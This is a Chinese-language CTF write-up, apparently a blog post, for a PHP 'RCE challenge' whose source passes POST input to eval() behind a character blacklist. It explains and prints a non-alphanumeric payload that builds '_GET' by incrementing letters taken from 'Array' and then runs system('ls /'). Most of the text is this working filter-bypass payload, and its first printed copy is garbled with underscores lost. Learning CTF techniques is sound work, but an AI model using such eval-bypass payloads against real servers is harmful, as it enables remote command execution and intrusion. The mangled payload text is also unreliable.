RCE挑战2
源码
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这题过滤了一大串玩意
寻找没有被过滤的
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
自增过滤原理(网上找的)
“! $ ' ( ) + , . / ; = [ ] ”是可以传的字符
就是通过构造一个“Array”字符串,再取那个“A”,通过自增构造出"G""E""T"三个字母,拼接"$""""[]"等字符从而高出个$GET[]字符串来传参。最后payload:
$=[].;$__=$['!'==','];$++;$++;$++;$=++$;++$;$=++$.$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;$=$.++$;$=''.$_;$$_;
但是有个问题就是用max hackbar会被拦截,HackBar不会.
$_ = []._; // $_ 是一个数组,[] 是 PHP 中的数组初始化语法,._ 表示拼接
var_dump($_); // 输出变量内容,结果为 "Array_"
$__ = $_['!' == ',']; // 判断条件为 false,因此 $__ 会等于 "Array_" 数组的第一个元素,也就是 "A"
$__++;$__++;$__++; // $__ 变量的值依次为 B, C, D
$___ = ++$__; // $__ 自增为 E,赋值给 $___
++$__; // $__ 变为 F
$___ = ++$__ . $___; // $__ 自增为 G,$___ 变为 "GE"
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; // $__ 依次增至 S
$___ = $___ . ++$__; // $__ 自增为 T,$___ 变为 "GET"
$_ = '_' . $___; // $_ 被赋值为 "_GET"
$$_[_]($$_[__]); // 通过变量变量执行命令,最终构造出 $_GET[_]($_GET[__]),并执行相应的命令
所以有payload
post:ctf_show=$=[].;$=$_['!'==','];$++;$++;$++;$=++$;++$;$=++$.$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;$=$.++$;$=''.$_;$$_;
get:?_=system&__=ls /
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!